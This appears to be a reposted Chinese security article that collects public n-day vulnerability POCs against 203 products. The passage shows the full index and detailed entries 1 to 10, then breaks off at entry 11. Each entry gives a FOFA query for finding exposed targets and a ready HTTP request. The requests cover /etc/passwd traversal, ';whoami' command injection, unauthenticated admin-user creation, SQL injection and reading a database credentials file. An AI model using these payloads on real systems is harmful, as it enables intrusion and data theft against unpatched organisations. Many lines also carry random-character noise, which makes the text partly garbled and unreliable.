互联网公开漏洞整理202309-202406
8 q1 |5 l: J7 ?' d1 Q) T% u道一安全 2024-06-05 07:41 北京' F( e" N& N& ~2 @+ {1 Z8 J2 M: v: l
以下文章来源于网络安全新视界 ,作者网络安全新视界- J) s* h. M( Y( D
2 i3 ^; R7 G( H E3 m( ?
发文目的:Nday漏洞的利用是安全攻防占比较大的攻击方式,希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。6 Z( Z! T- I5 C
5 w, H9 m$ u2 [8 _漏洞来源:文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个,均来自于互联网其他公众号或者网站,由网络安全新视界团队进行整理发布。
7 h8 d9 y/ U' P6 w s6 \
' T! Y5 `5 ^' e; u5 @安全补丁:所有的漏洞均为公开漏洞,补丁或漏洞修复方案请联系产品厂家。
3 U f, n" ^# p, ^1 g6 O
2 A% p. W7 C; w- v5 L文章内容:因受篇幅限制,个别漏洞POC由于过长,统一使用PAYLOAD字样代替,如需完整POC请自行搜索。& G6 E4 V0 {6 O7 Q7 M6 C7 ?$ \
1 g7 `! ^ j4 z+ x) B: l& b合法权益:如文章内容侵犯某方合法权益,请后台联系网络安全新视界团队对相关内容进行删除。 {8 ~3 t2 I5 X" d; a2 u
9 j5 \: l5 i* g% t9 |& ^
* D% r# B1 u# O6 Z' {声明. Z; F( K! [: A7 s& G! {4 b9 t3 }
' G/ C" k9 P+ k: z' \$ S5 F$ T7 Y; h, {
为简化流程,方便大家翻阅,固不设置“回复再给完整列表”。本文章就是当前最全文章,使用时F12搜索关键词即可。
9 u1 e& N# c0 w' i3 a. I& o: e/ n) A, s. ]
有需要的可以收藏此文。也可以关注本公众号(网络安全新视界)。' I. g; |9 x6 b) o& S, |, V
! E4 o6 l: Y% e
; B/ D9 `, A& [2 ^
4 c& K( z: T' h, ?" _$ @目录" |' ]' [/ A; c. K7 K
2 r5 e h% L+ i) S# Y) t7 y3 [
01+ U$ W/ @8 @- J0 X: ^' r7 G9 m/ M
1 x6 F+ O, A! @ `
1. StarRocks MPP数据库未授权访问
- { Z, \: x0 `" k2 O2. Casdoor系统static任意文件读取( {7 v9 R, q+ c# |4 A2 O4 ?5 T
3. EasyCVR智能边缘网关 userlist 信息泄漏8 \; w: L; V* _% o
4. EasyCVR视频管理平台存在任意用户添加
# x. n8 J, A. V7 Q5. NUUO NVR 视频存储管理设备远程命令执行
# q" [% R( a) B }/ }' i6. 深信服 NGAF 任意文件读取
" p) m9 {7 s6 ?7. 鸿运主动安全监控云平台任意文件下载0 m1 Q2 E" X; B) A- X9 E2 i( u& I
8. 斐讯 Phicomm 路由器RCE
! L4 G* J2 T A. |5 ?9 Q7 G9. 稻壳CMS keyword 未授权SQL注入
% P' `+ v5 k* r& w10. 蓝凌EIS智慧协同平台api.aspx任意文件上传9 A( k1 j2 [6 k' S
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入0 y" ]; K0 O6 y2 }) u( ?. f
12. Jorani < 1.0.2 远程命令执行. @0 i8 ~/ i) z: H) I+ n- G+ [
13. 红帆iOffice ioFileDown任意文件读取
! Q6 u2 P0 C6 N/ L14. 华夏ERP(jshERP)敏感信息泄露/ r. {5 I/ V% X _! K
15. 华夏ERP getAllList信息泄露
" ?# m# Q& W( M' w$ O" `3 D16. 红帆HFOffice医微云SQL注入
4 c2 W O" t7 Y \17. 大华 DSS itcBulletin SQL 注入
+ s- S* j9 X, \5 ^9 M c18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
0 B/ {- t. h3 e19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ z# d& s# M3 S$ c20. 大华ICC智能物联综合管理平台任意文件读取* T; J' X. A0 g, b6 j
21. 大华ICC智能物联综合管理平台random远程代码执行
' X6 v+ p0 }; T22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 l$ \7 y# g) Y9 w" M23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
" w( ?) z3 ?& z+ ?: y24. 用友NC 6.5 accept.jsp任意文件上传- \3 Z2 c, t( a4 N, N1 [
25. 用友NC registerServlet JNDI 远程代码执行
# t! g" `9 c8 O5 B [( U26. 用友NC linkVoucher SQL注入
* u1 k! l% Q( ]+ X- \9 Q/ F27. 用友 NC showcontent SQL注入
5 f* l. X" |% p H* R28. 用友NC grouptemplet 任意文件上传7 w# A& h" Q( s1 ?
29. 用友NC down/bill SQL注入$ T2 E {9 j3 _3 h2 L: z
30. 用友NC importPml SQL注入
) ^" S, Y2 w' x& y6 i5 {5 b/ C! s/ Y31. 用友NC runStateServlet SQL注入6 k: ^/ y+ d$ `8 ^6 _7 u& K
32. 用友NC complainbilldetail SQL注入) d, `" e, _, H \
33. 用友NC downTax/download SQL注入* u$ R: s& m! Y
34. 用友NC warningDetailInfo接口SQL注入2 U" X. x# d4 O @& j% n' d3 @
35. 用友NC-Cloud importhttpscer任意文件上传
) g( B- H3 A$ z6 x36. 用友NC-Cloud soapFormat XXE
+ T' ^1 H& o( y& a37. 用友NC-Cloud IUpdateService XXE; W# C2 Y1 n* M4 R/ B
38. 用友U8 Cloud smartweb2.RPC.d XXE
2 k) n) ^' ^5 p& r8 l7 t6 Y39. 用友U8 Cloud RegisterServlet SQL注入
/ k7 h- ^* C1 a, R40. 用友U8-Cloud XChangeServlet XXE
& r6 _$ H" W" G: ?5 l41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
; M" f% _8 L) a$ x' Q42. 用友GRP-U8 SmartUpload01 文件上传
6 m& Y5 a% p0 e5 _: d% v5 M' _1 G, ~43. 用友GRP-U8 userInfoWeb SQL注入致RCE
; N) q9 Z& ?. }5 ~* l) u44. 用友GRP-U8 bx_dj_check.jsp SQL注入$ k; Y1 {5 A# r1 E8 q/ i
45. 用友GRP-U8 ufgovbank XXE
3 F% \+ R5 E! o+ G5 u2 V" X46. 用友GRP-U8 sqcxIndex.jsp SQL注入
6 {+ b8 O9 c; [: `47. 用友GRP A++Cloud 政府财务云 任意文件读取
{5 i& y) Y$ D48. 用友U8 CRM swfupload 任意文件上传
3 W7 g7 ]9 [! L0 g9 z49. 用友U8 CRM系统uploadfile.php接口任意文件上传0 V7 ~0 }4 s5 n) o( E1 `
50. QDocs Smart School 6.4.1 filterRecords SQL注入7 A9 a/ k# w6 x+ Z8 `
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
y3 ]; G+ p2 j52. 泛微E-Office json_common.php sql注入( t1 F b8 }5 C, ^. l) S8 [' d, q
53. 迪普 DPTech VPN Service 任意文件上传
! ?% t& u2 C" |" @, \4 b6 J54. 畅捷通T+ getstorewarehousebystore 远程代码执行 `1 T6 z2 _, n4 I
55. 畅捷通T+ getdecallusers信息泄露
$ \8 l& m, T" h7 _- J. z5 Y7 V% o# {0 k56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) h6 b( _0 @( D" P' D- m7 s7 ~57. 畅捷通T+ keyEdit.aspx SQL注入0 a& B2 Q7 Q1 r/ x7 z- d
58. 畅捷通T+ KeyInfoList.aspx sql注入" W# k- m5 J( q. G+ B2 ^, P
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行. k! s( h2 A+ p0 x( i$ Y2 L( }
60. 百卓Smart管理平台 importexport.php SQL注入2 o4 I( j) k. v( E
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
7 M! _! R$ o" D62. IP-guard WebServer 远程命令执行' U' k, L, K7 I5 C k$ V
63. IP-guard WebServer任意文件读取
5 l8 s, u H- m8 Z: e7 ?% ^8 I6 t64. 捷诚管理信息系统CWSFinanceCommon SQL注入! R- D' f4 z5 ~( H3 O
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过, u# o3 [; }2 Z0 ] L: l& X
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
' B# }6 l5 k% l* Z8 A. f+ n67. 万户ezOFFICE wpsservlet任意文件上传0 w' M7 [5 V9 @2 f
68. 万户ezOFFICE wf_printnum.jsp SQL注入3 {6 `. F5 g$ W3 W
69. 万户 ezOFFICE contract_gd.jsp SQL注入
n( x4 \' a5 }' a9 J8 V: }' Q9 u) \70. 万户ezEIP success 命令执行
/ m% b, p0 a: d8 ?3 K& v) F3 G* m71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入$ T- [1 a0 a0 Q% t3 |
72. 致远OA getAjaxDataServlet XXE+ ^! U5 \ a, m
73. GeoServer wms远程代码执行+ Y' b. U9 M# C1 v
74. 致远M3-server 6_1sp1 反序列化RCE
3 `2 R1 H- o) A5 ]% i75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
* j3 _. I* W0 `1 v% g8 O# Q' z76. 新开普掌上校园服务管理平台service.action远程命令执行
% a2 p& X8 N- d3 b; ~77. F22服装管理软件系统UploadHandler.ashx任意文件上传
/ c' `0 d! S5 `2 ]5 @) [78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传/ N+ D3 x% Y7 U7 P7 r m0 |+ S
79. BYTEVALUE 百为流控路由器远程命令执行! q# C. Y* Y; ^7 t, C$ X$ U, g' e8 n0 y
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' k: T% [1 V! R. q N9 k81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露0 C. C3 z% X0 n+ y9 }+ ~* m
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行) Y! C0 @( E$ j2 ~& W: |1 q% S
83. JeecgBoot testConnection 远程命令执行; k2 ]: x+ y E
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 a8 L% ~% [ M6 x) M) q1 m85. SysAid On-premise< 23.3.36远程代码执行
1 M( x3 K! v3 g( L86. 日本tosei自助洗衣机RCE
- }: g& z9 \! E( Q" b- d87. 安恒明御安全网关aaa_local_web_preview文件上传$ x) z0 T3 m$ o n7 i1 E
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
7 L& J3 J$ z" C, ]89. 致远互联FE协作办公平台editflow_manager存在sql注入2 D( Z$ I- H" c; Y) Y# }8 }, h
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
) E$ D! Z* U5 B% s/ W6 C: x$ [91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
. u. @& q% c+ ~9 M, U9 T' F92. 海康威视运行管理中心session命令执行
6 S }' U$ e4 l* U* `93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
6 j; Z2 E' J6 M. [$ L9 t9 S94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传% m8 E4 `, m% S
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行0 s' m+ \, D! @1 O) R1 J3 Q
96. Apache OFBiz 18.12.11 groovy 远程代码执行- K% a O, S/ q4 d3 N
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行7 r8 H: U g4 x4 c
98. SpiderFlow爬虫平台远程命令执行
" K5 A+ _& i; ~, m1 Z% P. Y99. Ncast盈可视高清智能录播系统busiFacade RCE
2 k9 ]' ~4 v0 }$ U+ t$ W V100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传6 v4 s; X6 R3 }# t3 t
101. ivanti policy secure-22.6命令注入; W% B/ C# n& M6 Z& o% |
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
. d) h0 a% s8 @8 J- Z5 C103. Ivanti Pulse Connect Secure VPN XXE; S- p/ g1 p+ J
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露4 |9 x7 N+ u' d1 I/ w
105. SpringBlade v3.2.0 export-user SQL 注入& B; w }, V7 |; D& T$ Z
106. SpringBlade dict-biz/list SQL 注入
- h2 G3 H$ k+ y: |. B4 ?107. SpringBlade tenant/list SQL 注入
N2 b! |( y$ Q& E" f108. D-Tale 3.9.0 SSRF
% `* y' c% a" N( G) b- ?* u3 f109. Jenkins CLI 任意文件读取
/ w) E `; r/ O3 Y# `. c110. Goanywhere MFT 未授权创建管理员
6 |- T. i6 O5 z2 h4 Q111. WordPress Plugin HTML5 Video Player SQL注入
9 k5 p! z9 d+ |% t( ]/ x112. WordPress Plugin NotificationX SQL 注入
( f$ A- D3 x0 [3 l- y. I113. WordPress Automatic 插件任意文件下载和SSRF
6 O- c# w1 P4 O$ \/ I- d8 K- @% c" ]114. WordPress MasterStudy LMS插件 SQL注入. l7 M3 ^$ k$ t, M$ Q( E: [! @
115. WordPress Bricks Builder <= 1.9.6 RCE
8 [0 @" a$ ?6 U+ Q116. wordpress js-support-ticket文件上传
5 F+ ]: U- [' y0 q7 E) ?3 U117. WordPress LayerSlider插件SQL注入, w( H# Y4 [9 u4 b5 @
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
/ Q9 w. d8 G* {7 _8 Z& H# U! o/ Y119. 北京百绰智能S20后台sysmanageajax.php sql注入
) b- G! c; v# x3 S' C$ k120. 北京百绰智能S40管理平台导入web.php任意文件上传
% c9 A- Q: T8 z Y121. 北京百绰智能S42管理平台userattestation.php任意文件上传2 S6 a9 V6 n# P) C2 E; T4 M9 u" V
122. 北京百绰智能s200管理平台/importexport.php sql注入1 M0 L l$ ^6 }( @/ ^. Y7 j. t3 d
123. Atlassian Confluence 模板注入代码执行
) p a( |6 v# q2 n$ d' F w! s124. 湖南建研工程质量检测系统任意文件上传) o/ i r, ` F8 `/ w0 d
125. ConnectWise ScreenConnect身份验证绕过
/ U8 d- p5 l! u0 e$ F, \- F2 j9 S126. Aiohttp 路径遍历, e# J- z6 D5 P0 n7 k; C( f7 ]: z9 \
127. 广联达Linkworks DataExchange.ashx XXE
" R/ x6 [3 t. z" A9 v6 C128. Adobe ColdFusion 反序列化
/ Y0 e2 b9 @/ d1 W- L- S129. Adobe ColdFusion 任意文件读取
, B, g1 w( v1 Z; v130. Laykefu客服系统任意文件上传
- C1 y5 \; y, r" y131. Mini-Tmall <=20231017 SQL注入
* O1 Y7 l) l* L& p# N4 t: J132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过 Q8 P; @' O' ? H. r
133. H5 云商城 file.php 文件上传
: u8 B2 N% d- \/ E! }134. 网康NS-ASG应用安全网关index.php sql注入
* x0 M% b. o9 C. Z1 F; W8 b135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入$ k) p8 ^0 d, x+ f. D
136. NextChat cors SSRF
! x9 n4 b# p" w& i8 Z% ~137. 福建科立迅通信指挥调度平台down_file.php sql注入) Z" F! N- |0 R& I# k
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入$ D6 A9 l% Y6 F$ \0 V# v* P
139. 福建科立讯通信指挥调度平台editemedia.php sql注入% N; p3 D! Z5 v# r
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入/ }+ O8 H- l8 G5 v2 X/ \- o
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入# g9 n+ u6 x) A. M
142. CMSV6车辆监控平台系统中存在弱密码7 D I8 _2 b. y) d1 t/ Y
143. Netis WF2780 v2.1.40144 远程命令执行
- r8 N: q- J) | M7 I/ }/ V144. D-Link nas_sharing.cgi 命令注入4 x% G6 c& W+ w2 f7 A. H" U
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入/ k6 G; p$ V9 D4 ]
146. MajorDoMo thumb.php 未授权远程代码执行8 m. _+ k" Q. r w
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历: D2 `$ |! Y2 P1 l( g' |* F
148. CrushFTP 认证绕过模板注入& t) F4 \& S t
149. AJ-Report开源数据大屏存在远程命令执行* k% }9 I( h9 S2 m% u
150. AJ-Report 1.4.0 认证绕过与远程代码执行
" t2 {7 y/ X8 k0 t2 q9 Z) \* O151. AJ-Report 1.4.1 pageList sql注入% v. S# E* x( j7 e/ ]0 L9 M
152. Progress Kemp LoadMaster 远程命令执行
X1 I: Z8 Z g3 q1 M5 }8 ]153. gradio任意文件读取$ W9 f* V8 I5 Q% K+ f+ |- Z( o* j
154. 天维尔消防救援作战调度平台 SQL注入
% u2 s% w; B6 X- i7 h4 }( F155. 六零导航页 file.php 任意文件上传, \0 V* z& g( p
156. TBK DVR-4104/DVR-4216 操作系统命令注入
% R& P: _( N2 K" M& t( m$ |157. 美特CRM upload.jsp 任意文件上传
4 f1 y+ b* g, p" @% \" `- p2 j158. Mura-CMS-processAsyncObject存在SQL注入* y5 ]9 L" ^' J8 V# p
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
9 s4 L( H+ z: t160. Sonatype Nexus Repository 3目录遍历与文件读取' F1 O0 E' P/ l$ w X
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传1 v) ~. E7 T6 O7 M' }7 _. S
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传: f `- e/ t. X6 {6 D3 l; d7 z4 O
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传2 m N9 e0 d5 e
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
+ ]; T( m6 [. Y165. OrangeHRM 3.3.3 SQL 注入
+ c: i. W$ k4 l, H; \& _# K P166. 中成科信票务管理平台SeatMapHandler SQL注入; m$ k8 f( `$ ]9 j9 w
167. 精益价值管理系统 DownLoad.aspx任意文件读取
" T0 I- M+ c+ N0 M168. 宏景EHR OutputCode 任意文件读取
) U, O: o2 p8 N; C169. 宏景EHR downlawbase SQL注入6 J# L1 [3 ~, t7 f: Z" O( [
170. 宏景EHR DisplayExcelCustomReport 任意文件读取8 k6 i, Q$ b) t$ w4 Z; A
171. 通天星CMSV6车载定位监控平台 SQL注入
5 Z* P6 Z2 [- u172. DT-高清车牌识别摄像机任意文件读取4 _$ d9 k% z! C
173. Check Point 安全网关任意文件读取3 ^% A3 T R7 g9 U) m$ I! k
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
5 C" `3 ?& s& J( W! f6 N4 y175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入7 \( R. T( ]2 f- ~* d4 L: C, B
176. 电信网关配置管理系统 rewrite.php 文件上传* S) ^% B/ b, V% |5 i* Q
177. H3C路由器敏感信息泄露/ q3 R8 U0 C0 p: c
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 [1 W7 C, [" V1 x" c179. 建文工程管理系统存在任意文件读取
/ r$ _4 m, p( B. n5 N& C# F/ J180. 帮管客 CRM jiliyu SQL注入3 U6 H+ z* ?: M" y
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入4 `# }6 U. x8 u4 u
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
4 T" ~# d, y& h. a. ^' g183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入1 X) Y+ L2 [) U F& V
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 B L; d( U$ M+ `! W185. 瑞友天翼应用虚拟化系统SQL注入5 Y3 C( C+ ]2 j, e
186. F-logic DataCube3 SQL注入
@! }- d, S8 u* U) H187. Mura CMS processAsyncObject SQL注入
3 K/ q( D9 k% I7 `188. 叁体-佳会视频会议 attachment 任意文件读取
+ K& a8 g2 Q k* s( c189. 蓝网科技临床浏览系统 deleteStudy SQL注入( s2 y/ f- r' e% F+ g
190. 短视频矩阵营销系统 poihuoqu 任意文件读取6 [# B3 }/ `+ s, }0 [2 P# [
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
* I/ ~$ t) e* R% B: _! j, I192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
$ h Z5 J; g$ V$ k& d/ {" P193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行9 n- a( {* e. h, y
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传, I2 E9 R1 j* f- g4 o8 e4 ]
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
, f, \# t6 ` a& H+ \1 A196. 河南省风速科技统一认证平台密码重置
7 } b. A$ {' @1 L, [197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入# v7 S' B5 Y" q y
198. 阿里云盘 WebDAV 命令注入
/ X+ ` _2 }+ b' [! g199. cockpit系统assetsmanager_upload接口 文件上传2 \0 A+ o& C8 [
200. SeaCMS海洋影视管理系统dmku SQL注入1 `+ S! Y+ {/ \: n" I' l+ p; B
201. 方正全媒体新闻采编系统 binary SQL注入
6 m& r% T8 j8 @5 D9 A202. 微擎系统 AccountEdit任意文件上传
# }/ y; [* ]7 u203. 红海云EHR PtFjk 文件上传: g( h8 t3 f' J& y& ]
0 k/ s6 r( @3 c' a9 _' c* vPOC列表
. L0 b* K, r. f O7 h7 _: ?4 O6 X* Y p
02
" p; o/ R( ^" C( y' C
. y4 ~9 \" n& O5 t( C0 M1. StarRocks MPP数据库未授权访问; e" ` ]! ~+ r1 \2 [8 Q7 J8 _
FOFA :title="StarRocks"
, X+ e0 K! t$ F5 e& O5 u2 O. l* vGET /mem_tracker HTTP/1.19 q9 E5 C5 }7 p9 C) r3 J
Host: URL7 z0 { Q9 x! v; U
: M, U& y+ `! ~8 ~8 s
! s- c8 y4 `4 a$ c: C' n2. Casdoor系统static任意文件读取
( ]" E2 N1 x. J5 y6 B# } \FOFA :title="Casdoor"
' f5 n# W6 e; ?6 T! ~GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
4 o* }3 X1 k2 bHost: xx.xx.xx.xx:9999
5 j3 M h5 } B# S. j2 y5 DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36) u; b: b1 L' L+ Y' o; T8 @
Connection: close
/ L2 J9 ^) C8 @. [Accept: */*0 S8 e* v. G, U$ }( b$ q
Accept-Language: en7 `) I, O$ R4 P
Accept-Encoding: gzip
. {7 e a& v2 d6 M y$ y) a
3 y* l- w5 n0 t
& a' X) R: n3 |0 D4 G3. EasyCVR智能边缘网关 userlist 信息泄漏* k- w! c9 p2 F1 L) g
FOFA :title="EasyCVR"% S8 E7 B; M: G. ^ J: K* F7 A7 l$ M
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
6 c; p5 ~- E O1 N* Q, \Host: xx.xx.xx.xx- _9 W, S/ B6 K& `
+ k$ ]; E- t; f$ e& _% U3 Z- u) k
' g& S' L9 B8 @
4. EasyCVR视频管理平台存在任意用户添加+ ]- l K1 m1 m1 z
FOFA :title="EasyCVR"
. Q$ P' t$ b# p$ z8 }( [5 N5 ~7 y0 U" \/ m
password更改为自己的密码md5, n0 e8 G- f/ ^. j: v, {2 m4 v
POST /api/v1/adduser HTTP/1.1# ?* s5 a! ~! v- }/ E4 G' e
Host: your-ip
6 D1 z! K$ y" C3 I8 _Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' ^* q( j3 C, u* e, o% v
" z2 b: U y% d& @. N0 S6 h$ B9 bname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
5 o$ E, l7 u8 O( M0 o0 ^2 ?3 B8 l; {; P1 A2 L( b/ t
2 R+ E# f5 e+ ^. ]' d$ D
5. NUUO NVR 视频存储管理设备远程命令执行
& N# X) r. h9 p" [! J6 ]% m$ vFOFA:title="Network Video Recorder Login"
. e, I8 B) s& A- X: rGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
, k7 C, s, _( E5 [9 }Host: xx.xx.xx.xx" b" c# S3 E6 y" P! `$ K* W, ^6 p
$ A6 `0 ?! D \7 p9 ]
4 w9 b) H$ M5 d/ r) n6. 深信服 NGAF 任意文件读取* H8 n! f7 |$ |7 J
FOFA:title="SANGFOR | NGAF"( r0 g5 e+ Z! j- W$ j; j" m, `
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
0 _- d: {) r% z) ?Host:
6 ?: w/ x% o5 }1 E& K$ T
5 p" @" i' f, Q2 T# ~- J- W8 H" T+ k) C% `
7. 鸿运主动安全监控云平台任意文件下载# K! w% v# @3 } r5 R1 P# K
FOFA:body="./open/webApi.html"
# w! A4 \6 X, UGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.14 \6 n1 W/ d6 E1 ?0 [% F8 C
Host:
* @ n8 \4 i8 W" L0 w- u* Y6 T: l: ?) f" \4 ]: g* Q8 L
, i5 K' m8 F0 E8. 斐讯 Phicomm 路由器RCE# h4 y: l; s4 r; @6 N7 d8 \6 s
FOFA:icon_hash="-1344736688"
3 z6 J/ k/ ?/ k* c. Q% L- ?默认账号admin登录后台后,执行操作9 n. t, d+ h; m v& n9 l4 ~- ~0 x
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.13 {$ P3 M2 \ W: q0 H6 h2 ?# \
Host: x.x.x.x# L0 o1 `1 O% J9 J; R4 E- }; j) n( V
Cookie: sysauth=第一步登录获取的cookie
) J& s6 y# q+ h- n2 GContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz/ J5 I1 x/ k9 K$ ?: v% A( v( C
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
; G) m0 _/ r2 Z: {: Q5 N" f0 b6 l$ v9 Y" z9 T; w
------WebKitFormBoundaryxbgjoytz9 P6 Q* K. d- w9 |# t
Content-Disposition: form-data; name="wifiRebootEnablestatus" }7 z, S6 A O5 S1 K
- y2 Z9 N1 {+ g
%s
1 v! x2 F5 F1 e5 U( i9 L2 B------WebKitFormBoundaryxbgjoytz
1 M+ l1 {/ F r0 Z" QContent-Disposition: form-data; name="wifiRebootrange"; T2 m1 K/ t; Y8 i; v" k3 p! c6 |
% ^* ~2 z/ v @ ^12:00; id;
: \* b! R+ W+ I3 J0 _: D! E- R% T------WebKitFormBoundaryxbgjoytz
+ o7 U; O2 X' m) v* H( kContent-Disposition: form-data; name="wifiRebootendrange"
2 {( n0 _; e# {' \0 f
9 y+ R) P# H) V* l! ~# V%s:
- a0 g4 z* a" g) Z% ]" U% J) s1 j------WebKitFormBoundaryxbgjoytz
: D- t: ^) r* W1 QContent-Disposition: form-data; name="cururl2"+ O; k1 |6 D/ H( |8 S7 `% h
* O* ~9 q) P# f; M5 S' q
- r2 F1 L3 |; w
------WebKitFormBoundaryxbgjoytz--" u& J* j3 |' [# z
8 V3 M5 o2 M9 N# A6 {+ ~4 x8 ?7 R j' w& H
9. 稻壳CMS keyword 未授权SQL注入+ k# s+ e) h0 b$ T9 G- @2 O
FOFA:app="Doccms"
: @( }% z" j/ y9 ]GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.19 B; O( R9 N6 j8 O$ E. \- _) G$ W
Host: x.x.x.x; g( a7 }& d" d9 A' P
$ G4 B2 _3 k$ n
/ C8 x/ M# ?# d- W6 B; xpayload为下列语句的二次Url编码
2 T& `5 `* v j4 l% V8 `+ ?! Y$ M8 h( ^" v0 V
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
8 ?& Q3 `* w2 g# L7 I0 \9 R
" o& d4 W8 z; `10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
% S8 L, D- t. p( ]5 L) m$ ^FOFA:icon_hash="953405444") m) W1 O# D3 r, V7 P$ {
7 \+ u6 @7 q' S. F9 i2 ^文件上传后响应中包含上传文件的路径
# D7 g1 W( U, p0 v* VPOST /eis/service/api.aspx?action=saveImg HTTP/1.1! w$ }* P( _" s. X1 \
Host: x.x.x.x:xx
0 C+ U+ k/ j# ? B% N& VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.369 `& K8 o% m8 v3 }' z9 r
Content-Length: 197( o3 Z/ X% V* E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.90 @7 i0 k( O2 e% b
Accept-Encoding: gzip, deflate1 e, _ ~% k# D! M: x
Accept-Language: zh-CN,zh;q=0.9
" x# D& {) C. y2 LConnection: close, K3 F8 p/ r- y& b, M
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu9 v) @% c: [/ P' S- A
0 h5 S# [" B+ G' h9 ~9 F. z$ u------WebKitFormBoundaryxdgaqmqu( v* `' a4 h. D o3 a
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
' t! I# q. F) Z, @Content-Type: text/html# _$ R! ^& l- e- `% x3 d7 q
2 P" z4 i0 C' ~; _- _
jmnqjfdsupxgfidopeixbgsxbf
* ^/ Z! j% L9 N$ k# E0 r------WebKitFormBoundaryxdgaqmqu--$ `( j- C- B) I2 I8 ^1 E* @4 E
% a' Y0 @5 i* F- o- Q- I% w! X8 \5 k' W
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入1 G9 A+ g& r; A3 W' C$ O7 S
FOFA:icon_hash="953405444" || app="Landray-EIS智慧协同平台"# M3 c0 k$ l- |/ @, Y0 `& [+ f/ R2 E
